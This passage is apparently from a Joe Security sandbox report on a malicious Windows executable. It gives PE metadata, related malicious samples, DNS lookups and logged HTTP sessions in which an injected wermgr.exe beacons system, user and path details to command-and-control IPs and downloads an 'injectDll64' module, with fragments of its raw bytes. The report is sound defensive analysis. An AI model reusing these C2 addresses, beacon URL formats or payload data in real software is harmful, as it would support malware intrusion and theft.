microsoftExcelEarth.dll Get hash malicious Browse 202.65.119.162

mips Get hash malicious Browse 117.20.62.232

order.docx Get hash malicious Browse 117.20.50.162

ASN

JA3 Fingerprints

Copyright Joe Security LLC 2021 Page 12 of 51

Static File Info

GeneralFile type: PE32 executable (GUI) Intel 80386, for MS Windows

Entropy (8bit): 6.177471308026916

TrID: Win32 Executable (generic) a (10002005/4) 99.96%Generic Win/DOS Executable (2004/3) 0.02%DOS Executable Generic (2002/1) 0.02%Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%

Match Associated Sample Name / URL SHA 256 Detection Link Context

72a589da586844d7f0818ce684948eea soccer.png.dll Get hash malicious Browse 202.65.119.162116.90.234.82

SXCjsXDXXU.exe Get hash malicious Browse 202.65.119.162116.90.234.82

dngqoAXyDd.exe Get hash malicious Browse 202.65.119.162116.90.234.82

nWKik9o8eY.exe Get hash malicious Browse 202.65.119.162116.90.234.82

5zzdHIYZAG.exe Get hash malicious Browse 202.65.119.162116.90.234.82

r433fCa9zW.exe Get hash malicious Browse 202.65.119.162116.90.234.82

nFHZS2HLKK.exe Get hash malicious Browse 202.65.119.162116.90.234.82

OX6cphJYkB.exe Get hash malicious Browse 202.65.119.162116.90.234.82

zpBXh0mWs7.exe Get hash malicious Browse 202.65.119.162116.90.234.82

subzero.dll Get hash malicious Browse 202.65.119.162116.90.234.82

Qen6XuvBwQ.dll Get hash malicious Browse 202.65.119.162116.90.234.82

subzero.png.dll Get hash malicious Browse 202.65.119.162116.90.234.82

49ed2ef3f1321e5f044f1e71b0e6fdd5 SXCjsXDXXU.exe Get hash malicious Browse 202.65.119.162

nWKik9o8eY.exe Get hash malicious Browse 202.65.119.162

5zzdHIYZAG.exe Get hash malicious Browse 202.65.119.162

zpBXh0mWs7.exe Get hash malicious Browse 202.65.119.162

No context

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3425316567-2969588382-3778222414-1001\549b9b645cadfe6bb4bc69cf363c354c_11389406-0377-47ed-98c7-d564e683c6ebProcess: C:\Windows\System32\svchost.exe

File Type: data

Category: dropped

Size (bytes): 46

Entropy (8bit): 0.790076586273002

Encrypted: false

SSDEEP: 3:/lbfRu:/u

MD5: 12DF50B80529DD5B7C5D77B66AB141B5

SHA1: E61557906D15807A2A5742A731B8E3123E161932

SHA-256: 8E2EC3A996FD05F3806F43402D7812C8E5C7FA7B3C88781ABEFE36AD4548EC6E

SHA-512: 02B7B5388E8A28F8DFBDE64FD8F148A37A8CA6943AD5341A2DE834543F319C66F9715A21350A832D12D37935C9CD86FEBF335607CD29E296D291D05DDC7490A6

Malicious: false

Reputation: low

Preview:........................................?????.

Dropped Files

Created / dropped Files

Copyright Joe Security LLC 2021 Page 13 of 51

File name: HOPdc7v13C.exe

File size: 656384

MD5: 0686d0c6289fe85b513173479a4b6cf3

SHA1: 420d1ee8dd72fa0c0196a65b631e5bd690078882

SHA256: 92f8619538ca801f9af78facfcdd8df39bf355b1e5d0edd6bce9a0fa9c64b89d

SHA512: c6519611a4a69e1c9b9deee4bf9729612316c767b31deb0741cb4af68909823f71e7d7962c1e36b58e87c9ce029064991b13077262d53c256d7c7967348b0b0b

SSDEEP: 12288:InZndx1krxFPqBSPHLQuDACflBMhhDKG/M:AZdxuQSPsu8Qm5J

File Content Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1...u...u...u.......b.....&.....|...r...u...#.....'.G.......t...u...t.......t...Richu...................PE..L...A..a...........

General

File Icon

Icon Hash: 0000000000000000

GeneralEntrypoint: 0x40cfee

Entrypoint Section: .text

Digitally signed: false

Imagebase: 0x400000

Subsystem: windows gui

Image File Characteristics: 32BIT_MACHINE, EXECUTABLE_IMAGE

DLL Characteristics: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Time Stamp: 0x61851F41 [Fri Nov 5 12:10:41 2021 UTC]

TLS Callbacks:

CLR (.Net) Version:

OS Version Major: 5

OS Version Minor: 1

File Version Major: 5

File Version Minor: 1

Subsystem Version Major: 5

Subsystem Version Minor: 1

Import Hash: 2a49715e49b2891839bf716e121ca434

Name Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

.text 0x1000 0x382bb 0x38400 False 0.395785590278 data 5.67944204065 IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

.rdata 0x3a000 0x80c2 0x8200 False 0.238010817308 data 3.47351902045 IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

.data 0x43000 0x4598 0x2000 False 0.273681640625 data 3.47872400546 IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ

.idata 0x48000 0xc7b 0xe00 False 0.318080357143 data 4.19163051635 IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ

.rsrc 0x49000 0x5a4f0 0x5a600 False 0.647440676867 data 6.11161712237 IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

.reloc 0xa4000 0x25d1 0x2600 False 0.625719572368 data 5.79808205497 IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Static PE Info

Entrypoint Preview

Rich Headers

Data Directories

Sections

Copyright Joe Security LLC 2021 Page 14 of 51

Network Port Distribution

Language of compilation system Country where language is spoken Map

English United States

Network Behavior

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Nov 8, 2021 20:50:39.262798071 CET 192.168.11.20 1.1.1.1 0xa566 Standard query (0)

icanhazip.com A (IP address) IN (0x0001)

Nov 8, 2021 20:50:48.964740038 CET 192.168.11.20 1.1.1.1 0x3d09 Standard query (0)

91.143.129.102.zen.spamhaus.org

A (IP address) IN (0x0001)

Nov 8, 2021 20:50:48.994962931 CET 192.168.11.20 1.1.1.1 0x3359 Standard query (0)

91.143.129.102.cbl.abuseat.org

A (IP address) IN (0x0001)

Nov 8, 2021 20:50:49.011956930 CET 192.168.11.20 1.1.1.1 0xf065 Standard query (0)

91.143.129.102.b.barracudacentral.org

A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Nov 8, 2021 20:50:39.274014950 CET

1.1.1.1 192.168.11.20 0xa566 No error (0) icanhazip.com 104.18.114.97 A (IP address) IN (0x0001)

Nov 8, 2021 20:50:39.274014950 CET

1.1.1.1 192.168.11.20 0xa566 No error (0) icanhazip.com 104.18.115.97 A (IP address) IN (0x0001)

Nov 8, 2021 20:50:48.994283915 CET

1.1.1.1 192.168.11.20 0x3d09 Name error (3) 91.143.129.102.zen.spamhaus.org

none none A (IP address) IN (0x0001)

Nov 8, 2021 20:50:49.011373997 CET

1.1.1.1 192.168.11.20 0x3359 Name error (3) 91.143.129.102.cbl.abuseat.org

none none A (IP address) IN (0x0001)

Nov 8, 2021 20:50:49.222193003 CET

1.1.1.1 192.168.11.20 0xf065 No error (0) 91.143.129.102.b.barracudacentral.org

127.0.0.2 A (IP address) IN (0x0001)

Resources

Imports

Version Infos

Possible Origin

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

Copyright Joe Security LLC 2021 Page 15 of 51

202.65.119.162

116.90.234.82

icanhazip.com

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.11.20 49791 202.65.119.162 443 C:\Windows\System32\wermgr.exe

TimestampkBytestransferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

1 192.168.11.20 49793 202.65.119.162 443 C:\Windows\System32\wermgr.exe

TimestampkBytestransferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

10 192.168.11.20 49792 104.18.114.97 80 C:\Windows\System32\wermgr.exe

TimestampkBytestransferred Direction Data

Nov 8, 2021 20:50:39.286179066 CET

29 OUT GET / HTTP/1.1Connection: Keep-AliveUser-Agent: curl/7.77.0Host: icanhazip.com

Nov 8, 2021 20:50:39.305602074 CET

30 IN HTTP/1.1 200 OKDate: Mon, 08 Nov 2021 19:50:39 GMTContent-Type: text/plainContent-Length: 15Connection: keep-aliveAccess-Control-Allow-Origin: *Access-Control-Allow-Methods: GETSet-Cookie: __cf_bm=l2.PJ.t9MUED2EMseLWoepCXjaTpryKGrrtwxF1CECk-1636401039-0-AR9Pcmg2wJNJrbhSPz89paUwtMisnvrodnfqMti0XCJ/e7lAxeGIwI04lmFYnKe8/ALl74b8gFQHtv6e/tQ3nEU=; path=/; expires=Mon, 08-Nov-21 20:20:39 GMT; domain=.icanhazip.com; HttpOnly; SameSite=NoneServer: cloudflareCF-RAY: 6ab154df8e5205bb-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 31 30 32 2e 31 32 39 2e 31 34 33 2e 39 31 0a Data Ascii: 102.129.143.91

Session ID Source IP Source Port Destination IP Destination Port Process

2 192.168.11.20 49794 202.65.119.162 443 C:\Windows\System32\wermgr.exe

TimestampkBytestransferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

3 192.168.11.20 49797 202.65.119.162 443 C:\Windows\System32\wermgr.exe

TimestampkBytestransferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

4 192.168.11.20 49803 202.65.119.162 443 C:\Windows\System32\wermgr.exe

TimestampkBytestransferred Direction Data

HTTP Packets

Copyright Joe Security LLC 2021 Page 16 of 51

Session ID Source IP Source Port Destination IP Destination Port Process

5 192.168.11.20 49805 202.65.119.162 443 C:\Windows\System32\wermgr.exe

TimestampkBytestransferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

6 192.168.11.20 49806 202.65.119.162 443 C:\Windows\System32\wermgr.exe

TimestampkBytestransferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

7 192.168.11.20 49807 116.90.234.82 443 C:\Windows\System32\wermgr.exe

TimestampkBytestransferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

8 192.168.11.20 49815 202.65.119.162 443 C:\Windows\System32\wermgr.exe

TimestampkBytestransferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

9 192.168.11.20 49817 202.65.119.162 443 C:\Windows\System32\wermgr.exe

TimestampkBytestransferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.11.20 49791 202.65.119.162 443 C:\Windows\System32\wermgr.exe

TimestampkBytestransferred Direction Data

2021-11-08 19:50:37 UTC 0 OUT GET /tot176/878411_W10019042.0BCB5F3BB96E13D3D8A7F33771DABBE8/5/kps/ HTTP/1.1Connection: Keep-AliveUser-Agent: curl/7.77.0Host: 202.65.119.162

2021-11-08 19:50:39 UTC 0 IN HTTP/1.1 200 OKServer: nginx/1.10.3Date: Mon, 08 Nov 2021 19:50:38 GMTContent-Type: application/octet-streamContent-Length: 224Connection: close

2021-11-08 19:50:39 UTC 0 IN Data Raw: 1a 41 bc 03 83 42 16 07 a6 e2 13 f8 d5 8e a9 9c 01 07 5f c7 85 4d f2 14 9d a9 2a f7 90 0f 79 e0 3e 39 e8 c4 eb 60 01 60 0a 3a bb 20 9b 59 a1 ae 71 a2 a6 52 ec b4 4f 14 06 a8 d5 e7 19 5d 56 69 ae ac 28 e7 d4 27 a9 fa bc 24 35 03 c2 70 38 13 73 8b 64 96 1c 6f db 93 8f f0 7d 8f a0 a1 ee 3e bd 55 f3 95 3f a4 c4 91 7c fa 91 9e 99 08 b2 2a b4 0f b9 61 02 b6 99 5c 16 5a bd a8 a2 21 46 9e f0 eb f2 d0 87 b9 fe a2 6f 7e f9 6f 14 63 15 a1 33 e7 42 67 1f 39 01 9b 0c 60 8c 0c 78 60 47 d0 34 e3 99 d8 aa c7 a9 67 1e 60 96 a0 cb 1f e8 c1 fd 7e 99 a6 fd 94 26 3c 1f 3e 47 bd 40 fd ef 32 a4 77 27 5c 83 38 23 6d c4 09 1b 8e f7 11 1c 33 f0 b5 0b f0 73 98 34 10 85 28 40 6d 18 6f 38 f6 Data Ascii: AB_M*y>9``: YqRO]Vi('$5p8sdo}>U?|*a\Z!Fo~oc3Bg9`x`G4g`~&<>G@2w'\8#m3s4(@mo8

Session ID Source IP Source Port Destination IP Destination Port Process

1 192.168.11.20 49793 202.65.119.162 443 C:\Windows\System32\wermgr.exe

TimestampkBytestransferred Direction Data

2021-11-08 19:50:41 UTC 0 OUT GET /tot176/878411_W10019042.0BCB5F3BB96E13D3D8A7F33771DABBE8/0/Windows%2010%20x64/1108/102.129.143.91/6760749C3E0F3C8028653796E6C431FC062A0AA0107C34B734353BDE5C7824FB/z3dHdLnB77733nzzrrnnnjjLhdddZZZ/ HTTP/1.1Connection: Keep-AliveUser-Agent: curl/7.77.0Host: 202.65.119.162

HTTPS Proxied Packets

Copyright Joe Security LLC 2021 Page 17 of 51

2021-11-08 19:50:41 UTC 0 IN HTTP/1.1 200 OKServer: nginx/1.10.3Date: Mon, 08 Nov 2021 19:50:41 GMTContent-Type: text/plainContent-Length: 1295Connection: close

2021-11-08 19:50:41 UTC 0 IN Data Raw: 2f 31 2f 74 6f 74 31 37 36 2f 38 37 38 34 31 31 5f 57 31 30 30 31 39 30 34 32 2e 30 42 43 42 35 46 33 42 42 39 36 45 31 33 44 33 44 38 41 37 46 33 33 37 37 31 44 41 42 42 45 38 2f 7a 33 64 48 64 4c 6e 42 37 37 37 33 33 6e 7a 7a 72 72 6e 6e 6e 6a 6a 4c 68 64 64 64 5a 5a 5a 2f 31 31 38 34 2f 0d 0a 25 b6 6d 66 e9 a1 39 8e 70 fa 22 1d 15 2b c0 1b f0 4a 68 c9 81 1e 20 a0 58 ee 68 47 11 5f 59 6a d8 e4 40 7c cc e3 56 9c 6a 3b 5c 9d dd 2e d3 b4 05 9f 70 c8 91 87 1f 07 51 25 7d ab 5a 94 a7 d9 b2 20 4a 1c 03 90 a9 1e 2b f9 33 92 70 f5 71 76 5a 30 ed 54 fa 7b 3d a2 87 b3 8b 6b 64 a8 29 c5 f0 d7 cb d3 a0 a0 22 c0 14 bb 08 7b 5d 95 07 2b 86 12 9a 66 60 03 47 26 8d 49 f9 74 52 19 07 76 e0 ea a8 50 43 b9 6c 3c cc 69 d1 89 33 1b d6 9f be 3a b7 75 70 db 9a 04 a5 22 5d a3 Data Ascii: /1/tot176/878411_W10019042.0BCB5F3BB96E13D3D8A7F33771DABBE8/z3dHdLnB77733nzzrrnnnjjLhdddZZZ/1184/%mf9p"+Jh XhG_Yj@|Vj;\.pQ%}Z J+3pqvZ0T{=kd)"{]+f`G&ItRvPCl<i3:up"]

TimestampkBytestransferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

2 192.168.11.20 49794 202.65.119.162 443 C:\Windows\System32\wermgr.exe

TimestampkBytestransferred Direction Data

2021-11-08 19:50:43 UTC 2 OUT GET /tot176/878411_W10019042.0BCB5F3BB96E13D3D8A7F33771DABBE8/14/user/user/0/ HTTP/1.1Connection: Keep-AliveUser-Agent: curl/7.77.0Host: 202.65.119.162

2021-11-08 19:50:44 UTC 2 IN HTTP/1.1 200 OKServer: nginx/1.10.3Date: Mon, 08 Nov 2021 19:50:44 GMTContent-Type: text/plainContent-Length: 3Connection: close

2021-11-08 19:50:44 UTC 2 IN Data Raw: 2f 31 2f Data Ascii: /1/

Session ID Source IP Source Port Destination IP Destination Port Process

3 192.168.11.20 49797 202.65.119.162 443 C:\Windows\System32\wermgr.exe

TimestampkBytestransferred Direction Data

2021-11-08 19:50:46 UTC 2 OUT GET /tot176/878411_W10019042.0BCB5F3BB96E13D3D8A7F33771DABBE8/14/path/C:%5CUsers%5Cuser%5CAppData%5CRoaming%5CNotepadIDE_I0MY%5CHOPdc7v13C.exe/0/ HTTP/1.1Connection: Keep-AliveUser-Agent: curl/7.77.0Host: 202.65.119.162

2021-11-08 19:50:46 UTC 2 IN HTTP/1.1 200 OKServer: nginx/1.10.3Date: Mon, 08 Nov 2021 19:50:46 GMTContent-Type: text/plainContent-Length: 3Connection: close

2021-11-08 19:50:46 UTC 2 IN Data Raw: 2f 31 2f Data Ascii: /1/

Session ID Source IP Source Port Destination IP Destination Port Process

4 192.168.11.20 49803 202.65.119.162 443 C:\Windows\System32\wermgr.exe

TimestampkBytestransferred Direction Data

2021-11-08 19:50:48 UTC 2 OUT GET /tot176/878411_W10019042.0BCB5F3BB96E13D3D8A7F33771DABBE8/23/2000036/ HTTP/1.1Connection: Keep-AliveUser-Agent: curl/7.77.0Host: 202.65.119.162

2021-11-08 19:50:48 UTC 3 IN HTTP/1.1 404 Not FoundServer: nginx/1.10.3Date: Mon, 08 Nov 2021 19:50:48 GMTContent-Length: 9Connection: close

2021-11-08 19:50:48 UTC 3 IN Data Raw: 4e 6f 74 20 66 6f 75 6e 64 Data Ascii: Not found

Copyright Joe Security LLC 2021 Page 18 of 51

Session ID Source IP Source Port Destination IP Destination Port Process

5 192.168.11.20 49805 202.65.119.162 443 C:\Windows\System32\wermgr.exe

TimestampkBytestransferred Direction Data

2021-11-08 19:50:50 UTC 3 OUT GET /tot176/878411_W10019042.0BCB5F3BB96E13D3D8A7F33771DABBE8/14/DNSBL/listed/0/ HTTP/1.1Connection: Keep-AliveUser-Agent: curl/7.77.0Host: 202.65.119.162

2021-11-08 19:50:51 UTC 3 IN HTTP/1.1 200 OKServer: nginx/1.10.3Date: Mon, 08 Nov 2021 19:50:50 GMTContent-Type: text/plainContent-Length: 3Connection: close

2021-11-08 19:50:51 UTC 3 IN Data Raw: 2f 31 2f Data Ascii: /1/

Session ID Source IP Source Port Destination IP Destination Port Process

6 192.168.11.20 49806 202.65.119.162 443 C:\Windows\System32\wermgr.exe

TimestampkBytestransferred Direction Data

2021-11-08 19:50:54 UTC 3 OUT GET /tot176/878411_W10019042.0BCB5F3BB96E13D3D8A7F33771DABBE8/14/NAT%20status/client%20is%20behind%20NAT/0/ HTTP/1.1Connection: Keep-AliveUser-Agent: curl/7.77.0Host: 202.65.119.162

2021-11-08 19:50:55 UTC 3 IN HTTP/1.1 200 OKServer: nginx/1.10.3Date: Mon, 08 Nov 2021 19:50:55 GMTContent-Type: text/plainContent-Length: 3Connection: close

2021-11-08 19:50:55 UTC 3 IN Data Raw: 2f 31 2f Data Ascii: /1/

Session ID Source IP Source Port Destination IP Destination Port Process

7 192.168.11.20 49807 116.90.234.82 443 C:\Windows\System32\wermgr.exe

TimestampkBytestransferred Direction Data

2021-11-08 19:50:56 UTC 3 OUT GET /tot176/878411_W10019042.0BCB5F3BB96E13D3D8A7F33771DABBE8/5/injectDll64/ HTTP/1.1Connection: Keep-AliveUser-Agent: curl/7.77.0Host: 116.90.234.82

2021-11-08 19:50:57 UTC 3 IN HTTP/1.1 200 OKServer: nginx/1.14.2Date: Mon, 08 Nov 2021 19:50:56 GMTContent-Type: application/octet-streamContent-Length: 479104Last-Modified: Thu, 23 Sep 2021 07:48:52 GMTConnection: closeETag: "614c3164-74f80"Accept-Ranges: bytes

2021-11-08 19:50:57 UTC 4 IN Data Raw: 11 dd b9 59 39 89 10 cd 14 4d b9 ef 28 2b dc d4 fa 70 64 50 6b e7 e0 f8 e8 6d ff a2 6b e6 74 6c 07 d0 35 95 73 68 98 36 43 4f 52 cf c3 72 7f a6 c7 b1 f7 a9 7b 4a a2 43 ce 8c 7f 84 7f fd 95 9a 66 12 fb b7 8f 4b 30 9a 4a a9 29 9c 76 c2 8f 12 0f da 3e d2 d6 b9 56 aa ff 36 e2 1f f1 08 a1 9d 2e 9a 4b 0c a1 73 58 65 2d 27 f7 f7 1a 79 2c f4 e6 f2 77 3a 89 f9 51 b0 27 a9 f9 71 a4 fa 7c ef fd 5d df 66 68 78 fa 42 96 27 53 67 83 41 28 c1 0e 4b 2e 34 f7 a4 63 59 7b 6d d9 c4 5d 35 ae 37 60 64 35 d4 80 62 7c 08 50 f3 f8 b7 72 41 f1 23 cd a2 c8 d0 b2 c0 7b f4 67 f4 2d db 49 54 d3 23 a1 28 55 01 2e 30 ee 6b a4 f0 fd f3 c7 73 f1 2c 07 b7 20 80 52 c5 62 a4 e4 3d d0 40 e5 0d fe 37 12 1a 84 d3 7d 24 e5 45 cf 2b c6 2a 97 f3 47 12 76 76 fd b7 fe 92 e8 c3 4a 39 c5 a0 a8 07 a1 Data Ascii: Y9M(+pdPkmktl5sh6CORr{JCfK0J)v>V6.KsXe-'y,w:Q'q|]fhxB'SgA(K.4cY{m]57`d5b|PrA#{g-IT#(U.0ks, Rb=@7}$E+*GvvJ9

2021-11-08 19:50:57 UTC 19 IN Data Raw: de 16 9d b1 99 09 60 0e 12 3a 1b 11 b2 48 ca 88 b5 0a 19 0e d3 af 85 31 5e 16 68 1a 64 c8 f5 d8 36 1d d2 17 d9 d4 5f 66 6d 49 f2 1a 2c 6b 3a 2b 3a 0d a3 a7 59 a8 95 ff c6 fd e0 d7 a8 9b 0d bd e5 26 5b 8a cf db e6 7e 89 50 b6 3e 28 92 55 23 25 56 16 d8 50 e6 fe 93 7d 3f 71 20 bc f9 1b 7c e8 a9 37 63 f4 4a 9d f7 16 7d 2a d6 5d 30 76 6a 89 28 d0 3b 9d 1b 35 98 03 00 d7 aa 03 50 9c 23 f6 c1 b0 d8 ee 80 2b 1a 71 fd 5d 32 9c 90 82 32 aa e4 e1 49 bc 44 70 20 11 0e 55 ce e2 0a fc 79 16 1a 96 f4 08 82 fc 58 bf 76 4f d8 43 62 a5 56 08 4e ec b4 1b a2 70 35 d0 18 8e 82 21 d0 54 d1 14 ff 91 a9 54 1f ca ab 78 24 b5 dc 54 61 d3 55 f1 87 6f 22 ac a0 d9 b8 a7 15 7f e0 ea b7 db d3 99 74 b2 c4 3b 42 4e 89 64 7a a2 e6 eb 2d 8a 79 8c 2e 71 c4 9b 78 2c cf be 6b 2e c6 9b 0c 98 Data Ascii: `:H1^hd6_fmI,k:+:Y&[~P>(U#%VP}?q |7cJ}*]0vj(;5P#+q]22IDp UyXvOCbVNp5!TTx$TaUo"t;BNdz-y.qx,k.

Copyright Joe Security LLC 2021 Page 19 of 51

2021-11-08 19:50:57 UTC 35 IN Data Raw: 8b 0a 26 44 c4 95 e2 fe 89 34 eb 11 b1 d6 42 99 07 13 16 e2 56 1d c2 bf 59 76 eb ca de 75 61 c1 9a b6 1f 9e 77 3f b2 42 6f 77 5d 0c 39 a8 e6 43 2a 7b a5 c4 ce f7 47 da cf 12 ac a8 25 89 a2 30 8c ad ec f8 58 81 ec 67 72 8a c0 6b 76 73 55 6a 97 6d fc 74 c9 53 2f 40 66 50 2c 36 38 f8 d7 42 4f 4c 1d 76 96 d2 c7 d8 53 de 69 dd ac 3f 8e f9 4e 18 1b f4 8b d3 72 98 09 78 a7 f8 af a0 0b 56 a7 ac 32 3c e4 1c 20 ea 57 38 b5 13 d7 1f 86 7c 15 79 ea 7c fe a0 b1 19 66 a7 7b d7 54 2c 70 29 8d 3f 64 f0 2e 68 2c 66 9b 63 56 21 93 37 51 06 65 91 a9 f5 83 ea 05 9b 0a 8d ef 60 48 f1 73 69 12 2a fa f0 72 0c b0 a8 da 8c d1 13 2f 01 a6 d4 8a 63 25 3b bd 97 24 d0 5b 40 ee fa a5 e2 5e 4a 81 ea 8f a5 85 f2 b5 84 1b f0 19 38 75 3d cc 9b 02 0e 40 83 74 ba eb 1d 55 fa 31 ff 2e 02 d6 Data Ascii: &D4BVYvuaw?Bow]9C*{G%0XgrkvsUjmtS/@fP,68BOLvSi?NrxV2< W8|y|f{T,p)?d.h,fcV!7Qe`Hsi*r/c%;$[@^J8u=@tU1.

2021-11-08 19:50:57 UTC 51 IN Data Raw: a4 40 ef 14 97 ee f6 a6 da 68 b0 19 29 71 3f 46 09 8f 35 44 6f ef f3 79 27 99 7c a3 69 db 51 cb ac 0a 34 97 5b 21 37 cd 9b 94 de e1 58 fb 67 72 42 83 41 ef 15 33 08 26 b5 b2 a3 5b f2 19 8c fa 8c bd cc 9c 3a f3 20 4b 82 c8 04 0f 4e b6 df ad 8f 92 dc 91 09 a5 05 2f 42 76 ad e3 b2 a8 bb 3b 8e d9 7a cc de 02 f5 84 97 07 d3 6e 36 e2 a0 df c5 6a f9 b2 35 6e 21 8f b4 f1 b1 c2 4e 3e 04 ff 55 f4 1e d0 fa 10 67 4b 14 23 16 03 c0 d8 f6 27 31 5b 13 35 6e d8 e5 e4 ab 68 2e c0 ea 9c ea 11 87 1d b3 8e a3 4b f4 5d 63 bf b5 9d e4 ce 60 8e 8b da ca 8c a0 7a 0b 6f 74 62 6a 8c 94 06 0b 40 67 a5 7e 72 43 e6 9a 44 02 5e 71 65 3d 3b fa 7b fc 3b 7e c3 b5 2e 30 39 d1 9d 35 4e e1 f5 a5 6d 55 3b d2 6c 9d a8 b7 03 6b ce 5c aa ec 14 21 96 66 59 5c 3a 6e e5 c5 ed db b4 c4 7c 04 ab f0 Data Ascii: @h)q?F5Doy'|iQ4[!7XgrBA3&[: KN/Bv;zn6j5n!N>UgK#'1[5nh.K]c`zotbj@g~rCD^qe=;{;~.095NmU;lk\!fY\:n|

2021-11-08 19:50:57 UTC 67 IN Data Raw: 6a 5d b0 04 26 32 62 ed b9 ea ab fa 3c 02 86 35 e5 61 44 5d f7 88 48 c7 cd 51 da ef f9 77 05 a4 ae 0e 66 31 1d c5 ef 35 aa c4 8c 16 7f cf 16 6e 8c 22 82 0e dc 37 b3 70 c2 0f e9 b3 56 8d 6a 4f fc d6 fa a0 16 08 46 53 aa 08 8f 7e 55 76 2a ce 70 07 e1 18 32 c6 8b 0b 84 f0 00 64 9e a0 6f 82 c6 88 ad d5 6d c3 f9 30 e9 22 9c 3d 30 2b 61 e3 a2 9b 92 2e bb 7a bb 3e 51 ed 85 7d 25 ec 3c 3b 38 29 46 a3 1a 63 5b cb cc 42 24 71 e5 16 74 0b 07 50 7c 67 e7 cc 04 a5 9b ea e7 7b 53 da 74 c5 ea 46 fe ef 3e 32 2c 53 a1 f1 19 ce 6c 37 61 0c 05 32 83 7d 76 2c 98 43 73 b6 6e f7 e0 1c 75 67 ac 07 64 67 9a 47 0b 79 bf 2b 95 09 0b 24 8f 29 67 6f 96 18 31 05 3b 87 f2 b5 31 d7 3d 7e 28 96 55 96 e2 61 90 1a 91 f4 98 c6 36 fc 19 ee 2f 68 e7 e3 49 aa 7f 3e 26 df 7b cf 10 3a 85 55 a1 Data Ascii: j]&2b<5aD]HQwf15n"7pVjOFS~Uv*p2dom0"=0+a.z>Q}%<;8)Fc[B$qtP|g{StF>2,Sl7a2}v,CsnugdgGy+$)go1;1=~(Ua6/hI>&{:U

2021-11-08 19:50:57 UTC 83 IN Data Raw: b6 ba 28 eb 4a 31 12 94 cc 97 a7 a1 3e 97 00 60 47 0f 59 6e d0 42 5d 17 37 b7 74 bd d1 87 7f 4a 52 46 5b 51 27 dc 5b 9d 39 5c eb fb 4a 6c ba f4 26 6b 7b 0b 50 f5 06 30 12 d9 f0 90 5f 54 62 d0 86 db 60 a2 14 76 ad 48 b6 07 e2 f0 76 48 15 ec d6 ad b7 86 88 74 42 bb 76 ad db 18 33 ef ed 2c 22 14 94 e4 52 eb 5b 60 07 e1 fd e7 ec 63 6d bb 95 e2 82 1f ca 54 29 64 bf 6c 54 39 20 80 1b 4a 86 50 a4 d7 a3 27 7f 21 0c 77 9f 00 f9 c1 be e5 1b ac 99 06 96 42 a0 44 d8 ec db eb f6 25 6f 8c 2c f6 7d a5 fa d4 45 eb 67 d5 8c 35 32 0d 6b 65 10 a3 13 26 f8 bf b0 6d a6 6a 62 9d 60 1e b3 34 2a cb e7 f6 3e 88 2b 46 47 38 fe fc 79 d1 58 84 db 10 96 5f 3c eb 96 dd d2 c4 27 4f 22 d6 bd 7e 4a e2 c8 a1 de e0 50 05 f8 09 7a d1 8b f088 b2 59 37 c0 a2 94 36 35 b7 f1 a5 a5 8b 14 51 cb Data Ascii: (J1>`GYnB]7tJRF[Q'[9\Jl&k{P0_Tb`vHvHtBv3,"R[`cmT)dlT9 JP'!wBD%o,}Eg52ke&mjb`4*>+FG8yX_<'O"~JPzY765Q

2021-11-08 19:50:57 UTC 99 IN Data Raw: 7d e3 d8 1b 24 70 1f 1b a8 73 d1 33 e8 35 cd 33 62 01 dc 1c 83 9e c9 ee 4c be 68 94 fc 87 bc eb 14 09 44 fa 08 0b e4 72 c5 00 f3 1c d9 c1 bf cb ed b7 f5 d3 0f 55 3d 6d 20 23 f5 c2 24 92 33 39 99 56 55 8e 1e 9b 70 97 99 14 3e 58 77 0c f7 c0 c7 8d 97 65 9e 26 79 da 8b 63 36 f8 3b f8 e1 d1 58 2d e2 35 5a 04 70 88 3d 71 0c f1 85 55 cf 18 45 d5 27 31 15 9c 66 04 86 7e cf 90 ff 09 89 b8 7d 77 1a 7b f6 30 71 bc 26 28 96 a4 47 71 3d f4 1c a6 70 97 3d b6 91 e9 d3 bb 28 62 5d c3 19 2e b2 e7 3c a5 cc 20 c3 71 32 0c ec 08 0f 4f 7f f5 68 19 df 79 ee ee 99 4a e0 33 80 7b 46 72 33 fb 60 b0 14 85 10 1c 31 ef 41 33 77 bd a5 73 5a b3 37 25 48 10 78 a6 f3 ce 84 a4 0b 47 15 2d 20 76 ac 09 19 f5 1e 5b f1 37 79 53 82 0e 76 4b fb de 26 61 3c fc ee 6b dc 8b 50 a8 43 cd 17 21 3c Data Ascii: }$ps353bLhDrU=m #$39VUp>Xwe&yc6;X-5Zp=qUE'1f~}w{0q&(Gq=p=(b].< q2OhyJ3{Fr3`1A3wsZ7%HxG- v[7ySvK&a<kPC!<

